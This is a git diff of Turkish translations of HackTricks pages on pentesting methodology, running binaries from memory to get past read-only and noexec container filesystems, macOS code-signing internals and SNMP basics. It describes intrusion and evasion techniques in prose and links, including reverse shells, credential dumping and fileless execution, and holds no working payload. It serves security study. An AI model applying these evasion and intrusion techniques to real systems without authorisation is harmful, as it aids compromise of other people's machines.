Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesinin çok faydalı olacağını](reverse-shells/) göreceksiniz.
Özellikle Windows'ta **antivirüslerden kaçınmak için** bazı yardımlara ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\
@ -99,18 +99,18 @@ Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler e
Eğer kutu içinde **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\
Burada **Linux'ta yerel ayrıcalıkları yükseltmek için bir kılavuz** [**bulabilirsiniz**](../linux-hardening/privilege-escalation/) **ve** [**Windows'ta**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Ayrıca **Windows'un nasıl çalıştığına dair bu sayfaları kontrol etmelisiniz**:
Ayrıca **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz:
* [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLM nasıl çalışır**](../windows-hardening/ntlm/)
* Windows'ta [**kimlik bilgilerini çalmanın**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) yolları
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listeleyen en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listelemek için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Alan Privesc**
#### **10.2- Alan Adı Privesc**
Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Kırmızı Takım görevinde son derece hassas** olabilir.
Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir.
### 11 - POST
@ -126,12 +126,12 @@ Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktri
TODO: Windows & Linux'ta kalıcılık Postunu tamamla
### 12 - Pivotlama
### 12 - Pivoting
**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) için ihtiyacınız olabilir.\
**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Methodology'yi yeniden başlatmak) için ihtiyacınız olabilir.\
Bu durumda tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](tunneling-and-port-forwarding.md).\
Ayrıca [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivotlama için çok faydalı olabilir.
Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı da kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivot yapmak için çok faydalı olabilir.
### DAHA FAZLA
@ -151,22 +151,22 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,13 +9,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
@ -48,12 +48,12 @@ securityContext:
Ancak, dosya sistemi ro olarak monte edilse bile, **`/dev/shm`** hala yazılabilir olacak, bu yüzden diske hiçbir şey yazamayacağımız yalan. Ancak, bu klasör **çalıştırma yok koruması** ile monte edilecektir, bu nedenle burada bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
{% hint style="warning" %}
Kırmızı takım perspektifinden, bu, sistemde zaten olmayan ikili dosyaları **indirmeyi ve çalıştırmayı zorlaştırıyor** (örneğin arka kapılar veya `kubectl` gibi sayıcılar).
Kırmızı takım perspektifinden, bu, sistemde zaten olmayan ikili dosyaları **indirmek ve çalıştırmak** için **zorlaştırıyor** (örneğin arka kapılar veya `kubectl` gibi sayıcılar).
{% endhint %}
## En Kolay Aşma: Scriptler
İkili dosyalardan bahsettiğimi unutmayın, eğer yorumlayıcı makine içinde mevcutsa, bir **shell script** veya **python** **script** gibi **herhangi bir scripti** çalıştırabilirsiniz.
İkili dosyalardan bahsettiğimi unutmayın, eğer yorumlayıcı makine içinde mevcutsa, **herhangi bir scripti** çalıştırabilirsiniz, örneğin `sh` mevcutsa bir **shell scripti** veya `python` yüklüyse bir **python scripti**.
Ancak, bu yalnızca ikili arka kapınızı veya çalıştırmanız gereken diğer ikili araçları çalıştırmak için yeterli değildir.
@ -63,12 +63,12 @@ Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin v
### FD + exec syscall aşması
Makine içinde bazı güçlü script motorlarına sahipseniz, örneğin **Python**, **Perl** veya **Ruby**, ikili dosyayı belleğe indirmek, bir bellek dosya tanımlayıcısında (`create_memfd` syscall) saklamak, bu korumalardan etkilenmeyecek ve ardından **`exec` syscall** çağrısı yaparak **çalıştırılacak dosya olarak fd'yi belirtmek** mümkündür.
Makine içinde bazı güçlü script motorlarına sahipseniz, örneğin **Python**, **Perl** veya **Ruby**, ikili dosyayı belleğe indirmek, bir bellek dosya tanımlayıcısında (`create_memfd` syscall) saklamak, bu korumalardan etkilenmeyecek ve ardından **`exec` syscall** çağrısı yaparak **fd'yi çalıştırılacak dosya olarak belirtmek** mümkündür.
Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirebilir ve belirtilen dilde **ikili dosya sıkıştırılmış ve b64 kodlanmış** bir script oluşturur, ardından **bellek fd'sinde** saklamak için `create_memfd` syscall'ını çağırarak ve çalıştırmak için **exec** syscall'ına bir çağrı yaparak **çözme ve açma** talimatları verir.
Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirebilir ve belirtilen dilde **ikili dosya sıkıştırılmış ve b64 kodlanmış** bir script oluşturur, ardından **bunu çözmek ve açmak için** `create_memfd` syscall çağrısı ile oluşturulan bir **fd** içinde ve çalıştırmak için **exec** syscall çağrısı ile çalıştırır.
{% hint style="warning" %}
Bu, PHP veya Node gibi diğer script dillerinde çalışmaz çünkü scriptten ham syscall'ları çağırmanın **varsayılan bir yolu yoktur**, bu nedenle ikili dosyayı saklamak için **bellek fd'si** oluşturmak için `create_memfd` çağrısı yapmak mümkün değildir.
Bu, PHP veya Node gibi diğer script dillerinde çalışmaz çünkü scriptten ham syscall'leri çağırmanın **varsayılan bir yolu yoktur**, bu nedenle ikili dosyayı saklamak için **bellek fd'si** oluşturmak için `create_memfd` çağrısı yapmak mümkün değildir.
Ayrıca, `/dev/shm` içinde bir dosya ile **normal bir fd** oluşturmak işe yaramaz, çünkü **çalıştırma yok koruması** uygulanacağı için bunu çalıştırmanıza izin verilmeyecektir.
{% endhint %}
@ -77,7 +77,7 @@ Ayrıca, `/dev/shm` içinde bir dosya ile **normal bir fd** oluşturmak işe yar
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) tekniği, kendi sürecinizin belleğini **`/proc/self/mem`** üzerinden yazma ile **değiştirmenizi** sağlar.
Bu nedenle, sürecin yürüttüğü **montaj kodunu kontrol ederek**, bir **shellcode** yazabilir ve süreci **herhangi bir keyfi kodu çalıştıracak şekilde "mutasyona uğratabilirsiniz"**.
Bu nedenle, sürecin yürüttüğü **montaj kodunu kontrol ederek**, bir **shellcode** yazabilir ve süreci **herhangi bir keyfi kodu çalıştıracak şekilde "değiştirebilirsiniz"**.
{% hint style="success" %}
**DDexec / EverythingExec**, kendi **shellcode'unuzu** veya **herhangi bir ikili dosyayı** **bellekten** yükleyip **çalıştırmanıza** olanak tanır.
@ -94,7 +94,7 @@ For more information about this technique check the Github or:
### MemExec
[**Memexec**](https://github.com/arget13/memexec) DDexec'in doğal bir sonraki adımıdır. Bu, **DDexec shellcode demonize edilmiştir**, böylece her seferinde **farklı bir ikili dosya çalıştırmak istediğinizde** DDexec'i yeniden başlatmanıza gerek yoktur, sadece memexec shellcode'u DDexec tekniği aracılığıyla çalıştırabilir ve ardından **yeni ikili dosyaları yüklemek ve çalıştırmak için bu demon ile iletişim kurabilirsiniz**.
[**Memexec**](https://github.com/arget13/memexec) DDexec'in doğal bir sonraki adımıdır. **Farklı bir ikili dosya çalıştırmak istediğinizde** DDexec'i yeniden başlatmanıza gerek yoktur, sadece memexec shellcode'u DDexec tekniği aracılığıyla çalıştırabilir ve ardından **yeni ikili dosyaları yüklemek ve çalıştırmak için bu demon ile iletişim kurabilirsiniz**.
**Memexec'i bir PHP ters shell'den ikili dosyaları çalıştırmak için nasıl kullanacağınızla ilgili bir örneği** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulabilirsiniz.
@ -112,13 +112,13 @@ Distroless konteynerlerin amacı, **gereksiz bileşenleri ortadan kaldırarak ko
### Ters Shell
Bir distroless konteynerde **normal bir shell almak için `sh` veya `bash`** bile bulamayabilirsiniz. Ayrıca `ls`, `whoami`, `id` gibi ikili dosyaları da bulamayacaksınız... genellikle bir sistemde çalıştırdığınız her şey.
Bir distroless konteynerde **normal bir shell almak için `sh` veya `bash`** bile bulamayabilirsiniz. Ayrıca `ls`, `whoami`, `id` gibi ikili dosyaları da bulamazsınız... genellikle bir sistemde çalıştırdığınız her şey.
{% hint style="warning" %}
Bu nedenle, **ters bir shell** almanız veya sistemi **listelemeniz** mümkün **olmayacaktır**.
Bu nedenle, **ters shell** almanız veya sistemi **listelemeniz** mümkün **olmayacaktır**.
{% endhint %}
Ancak, eğer ele geçirilmiş konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters shell** alabilirsiniz. Eğer node çalıştırıyorsa, bir Node rev shell alabilirsiniz ve çoğu **betik dili** ile aynı durum geçerlidir.
Ancak, eğer ele geçirilmiş konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters shell** alabilirsiniz. Eğer node çalıştırıyorsa, bir Node rev shell alabilirsiniz ve çoğu **betik dili** için aynı durum geçerlidir.
{% hint style="success" %}
Betik dilini kullanarak **sistemi listeleyebilirsiniz**.
@ -132,9 +132,9 @@ Ancak, bu tür konteynerlerde bu korumalar genellikle mevcut olacaktır, ancak *
**Bazı RCE zafiyetlerini istismar ederek betik dillerinden **ters shell'ler** almak ve hafızadan ikili dosyaları çalıştırmak için **örnekleri** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulabilirsiniz.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı lehçe yazılı ve sözlü gereklidir_).
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -19,7 +19,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
Mach-o ikili dosyaları, ikili dosya içindeki imzaların **offset** ve **boyutunu** belirten **`LC_CODE_SIGNATURE`** adlı bir yükleme komutu içerir. Aslında, MachOView GUI aracını kullanarak, ikili dosyanın sonunda bu bilgileri içeren **Kod İmzası** adlı bir bölüm bulmak mümkündür:
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
Kod İmzasının sihirli başlığı **`0xFADE0CC0`**'dır. Ardından, bunları içeren süperBlob'un uzunluğu ve blob sayısı gibi bilgiler vardır.\
Bu bilgiyi [kaynak kodda burada](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) bulmak mümkündür:
@ -58,7 +58,7 @@ Ayrıca, imzaların ikili dosyalardan ayrılabileceği ve `/var/db/DetachedSigna
## Code Directory Blob
[Code Directory Blob'un kod içindeki beyanını](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104) bulmak mümkündür:
[Code Directory Blob'un kod içindeki beyanını](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L104) bulmak mümkündür:
```c
typedef struct __CodeDirectory {
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
@ -118,8 +118,8 @@ Not edin ki, bu yapının farklı versiyonları vardır ve eski olanlar daha az
## Kod İmzalama Sayfaları
Tam ikili dosyanın hash'lenmesi verimsiz olurdu ve yalnızca bellekte kısmen yüklüyse işe yaramazdı. Bu nedenle, kod imzası aslında her ikili sayfanın ayrı ayrı hash'lenmesiyle oluşturulan bir hash'ler hash'idir.\
Aslında, önceki **Kod Dizini** kodunda **sayfa boyutunun belirtildiğini** görebilirsiniz. Ayrıca, ikilinin boyutu bir sayfa boyutunun katı değilse, **CodeLimit** alanı imzanın nerede sona erdiğini belirtir.
Tam ikili dosyanın hash'lenmesi verimsiz olurdu ve yalnızca bellekte kısmen yüklendiğinde işe yaramazdı. Bu nedenle, kod imzası aslında her ikili sayfanın ayrı ayrı hash'lenmesiyle oluşturulan bir hash'ler hash'idir.\
Aslında, önceki **Kod Dizini** kodunda **sayfa boyutunun belirtildiğini** görebilirsiniz. Ayrıca, ikilinin boyutu bir sayfa boyutunun katı değilse, **CodeLimit** alanı imzanın sonunun nerede olduğunu belirtir.
```bash
# Get all hashes of /bin/ps
codesign -d -vvvvvv /bin/ps
@ -157,13 +157,13 @@ openssl sha256 /tmp/*.page.*
```
## Yetki Blob'u
Uygulamaların tüm yetkilerin tanımlandığı bir **yetki blob'u** içerebileceğini unutmayın. Ayrıca, bazı iOS ikili dosyaları, yetkilerini özel -7 slotunda (özel -5 yetki slotu yerine) belirtebilir.
Uygulamaların tüm yetkilerin tanımlandığı bir **yetki blob'u** içerebileceğini unutmayın. Ayrıca, bazı iOS ikili dosyaları, yetkilerini özel slot -7'de (slot -5 yerine) belirtebilir.
## Özel Slotlar
MacOS uygulamaları, ikili dosya içinde çalıştırmak için ihtiyaç duydukları her şeye sahip değildir, aynı zamanda **harici kaynaklar** (genellikle uygulamaların **paketinde**) kullanırlar. Bu nedenle, ikili dosya içinde bazı ilginç harici kaynakların hash'lerini içeren bazı slotlar bulunmaktadır.
Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında, özel slotların sayısını belirten bir parametre görmek mümkündür. Özel slot 0 yoktur ve en yaygın olanları (-1'den -6'ya kadar) şunlardır:
Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında özel slot sayısını belirten bir parametre görmek mümkündür. Özel slot 0 yoktur ve en yaygın olanları (-1'den -6'ya kadar) şunlardır:
* `info.plist`'in hash'i (veya `__TEXT.__info__plist` içindeki).
* Gereksinimlerin hash'i
@ -226,9 +226,9 @@ Not edin ki [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/
Her uygulama, yürütülebilmesi için **karşılaması gereken** bazı **gereksinimler** saklar. Eğer **uygulama, uygulama tarafından karşılanmayan gereksinimler içeriyorsa**, yürütülmeyecektir (muhtemelen değiştirilmiştir).
Bir ikili dosyanın gereksinimleri, **özel bir dilbilgisi** kullanır; bu, **ifadelerin** bir akışıdır ve `0xfade0c00` sihirli değeri kullanılarak bloblar olarak kodlanır; **hash'i özel bir kod slotunda** saklanır.
Bir ikili dosyanın gereksinimleri, **ifade** akışı olan **özel bir dil** kullanır ve `0xfade0c00` sihirli değeri ile blob olarak kodlanır; bu **hash, özel bir kod slotunda** saklanır.
Bir ikili dosyanın gereksinimleri, şu komutla görülebilir:
Bir ikili dosyanın gereksinimleri şu şekilde görülebilir:
{% code overflow="wrap" %}
```bash
@ -243,7 +243,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
{% endcode %}
{% hint style="info" %}
Bu imzaların sertifika bilgileri, TeamID, kimlikler, yetkilendirmeler ve birçok diğer verileri kontrol edebileceğini unutmayın.
Bu imzaların sertifika bilgileri, TeamID, ID'ler, yetkilendirmeler ve birçok diğer verileri kontrol edebileceğini unutmayın.
{% endhint %}
Ayrıca, `csreq` aracını kullanarak bazı derlenmiş gereksinimler oluşturmak mümkündür:
@ -262,13 +262,13 @@ od -A x -t x1 /tmp/output.csreq
```
{% endcode %}
Bu bilgilere erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri oluşturmak veya değiştirmek mümkündür:
Bu bilgiyi erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri oluşturmak veya değiştirmek mümkündür:
#### **Geçerliliği Kontrol Etme**
* **`Sec[Static]CodeCheckValidity`**: SecCodeRef'in gereksinim başına geçerliliğini kontrol eder.
* **`Sec[Static]CodeCheckValidity`**: SecCodeRef'in gereksinime göre geçerliliğini kontrol eder.
* **`SecRequirementEvaluate`**: Sertifika bağlamında gereksinimi doğrular.
* **`SecTaskValidateForRequirement`**: Çalışan bir SecTask'ı `CFString` gereksinimi ile doğrular.
* **`SecTaskValidateForRequirement`**: Çalışan bir SecTask'ı `CFString` gereksinimine karşı doğrular.
#### **Kod Gereksinimlerini Oluşturma ve Yönetme**
@ -277,14 +277,14 @@ Bu bilgilere erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri
* **`SecRequirementCopy[Data/String]`**: Bir `SecRequirementRef`'in ikili veri temsilini alır.
* **`SecRequirementCreateGroup`**: Uygulama grubu üyeliği için bir gereksinim oluşturur.
#### **Kod İmzalama Bilgilerine Erişim**
#### **Kod İmzalama Bilgisine Erişim**
* **`SecStaticCodeCreateWithPath`**: Kod imzalarını incelemek için bir dosya sistemi yolundan `SecStaticCodeRef` nesnesini başlatır.
* **`SecCodeCopySigningInformation`**: Bir `SecCodeRef` veya `SecStaticCodeRef`'den imzalama bilgilerini alır.
#### **Kod Gereksinimlerini Değiştirme**
* **`SecCodeSignerCreate`**: Kod imzalama işlemlerini gerçekleştirmek için bir `SecCodeSignerRef` nesnesi oluşturur.
* **`SecCodeSignerCreate`**: Kod imzalama işlemleri gerçekleştirmek için bir `SecCodeSignerRef` nesnesi oluşturur.
* **`SecCodeSignerSetRequirement`**: İmzalama sırasında uygulanacak yeni bir gereksinim belirler.
* **`SecCodeSignerAddSignature`**: Belirtilen imzalayıcı ile imzalanan koda bir imza ekler.
@ -295,7 +295,7 @@ Bu bilgilere erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri
#### **Ekstra Kullanışlı API'ler**
* **`SecCodeCopy[Internal/Designated]Requirement`: SecCodeRef'den SecRequirementRef al**
* **`SecCodeCopyGuestWithAttributes`**: Belirli özelliklere dayanan bir kod nesnesini temsil eden bir `SecCodeRef` oluşturur, sandboxing için yararlıdır.
* **`SecCodeCopyGuestWithAttributes`**: Belirli özelliklere dayanan bir kod nesnesini temsil eden bir `SecCodeRef` oluşturur, sandboxing için kullanışlıdır.
* **`SecCodeCopyPath`**: Bir `SecCodeRef` ile ilişkili dosya sistemi yolunu alır.
* **`SecCodeCopySigningIdentifier`**: Bir `SecCodeRef`'den imzalama tanımlayıcısını (örneğin, Takım ID'si) alır.
* **`SecCodeGetTypeID`**: `SecCodeRef` nesneleri için tür tanımlayıcısını döndürür.
@ -308,7 +308,7 @@ Bu bilgilere erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri
## Kod İmzası Uygulaması
**Kernel**, uygulamanın kodunun çalışmasına izin vermeden önce **kod imzasını kontrol eden** kişidir. Ayrıca, bellekte yeni kod yazmak ve çalıştırmak için bir yol, `mprotect` çağrıldığında `MAP_JIT` bayrağının kötüye kullanılmasıdır. Uygulamanın bunu yapabilmesi için özel bir yetkiye ihtiyacı olduğunu unutmayın.
**Kernel**, uygulamanın kodunun çalışmasına izin vermeden önce **kod imzasını kontrol eder**. Ayrıca, bellekte yeni kod yazmak ve çalıştırmak için bir yol, `mprotect` çağrıldığında `MAP_JIT` bayrağının kötüye kullanılmasıdır. Uygulamanın bunu yapabilmesi için özel bir yetkiye ihtiyacı olduğunu unutmayın.
## `cs_blobs` & `cs_blob`

View file

@ -9,21 +9,21 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
**SNMP - Basit Ağ Yönetim Protokolü**, ağdaki farklı cihazları (yönlendiriciler, anahtarlar, yazıcılar, IoT'ler gibi) izlemek için kullanılan bir protokoldür.
**SNMP - Basit Ağ Yönetim Protokolü** ağdaki farklı cihazları (yönlendiriciler, anahtarlar, yazıcılar, IoT'ler gibi) izlemek için kullanılan bir protokoldür.
```
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
@ -35,7 +35,7 @@ SNMP ayrıca **traps** için **162/UDP** portunu kullanır. Bunlar, **SNMP sunuc
### MIB
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın tüm sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
MIB dosyaları, `Soyut Söz Dizimi Notasyonu Bir` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığını belirtir.
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığı hakkında bilgi verir.
### OIDs
@ -90,7 +90,7 @@ SNMP'nin 2 önemli sürümü vardır:
* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin olarak iletilir). **Sürüm 2 ve 2c** de **düz metin** içinde trafik gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**.
* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgiler **şifreli** olarak iletilir (bir **sözlük saldırısı** gerçekleştirilebilir ancak SNMPv1 ve v2'ye göre doğru kimlik bilgilerini bulmak çok daha zor olacaktır).
### Topluluk Düzeyleri
### Topluluk Düzleri
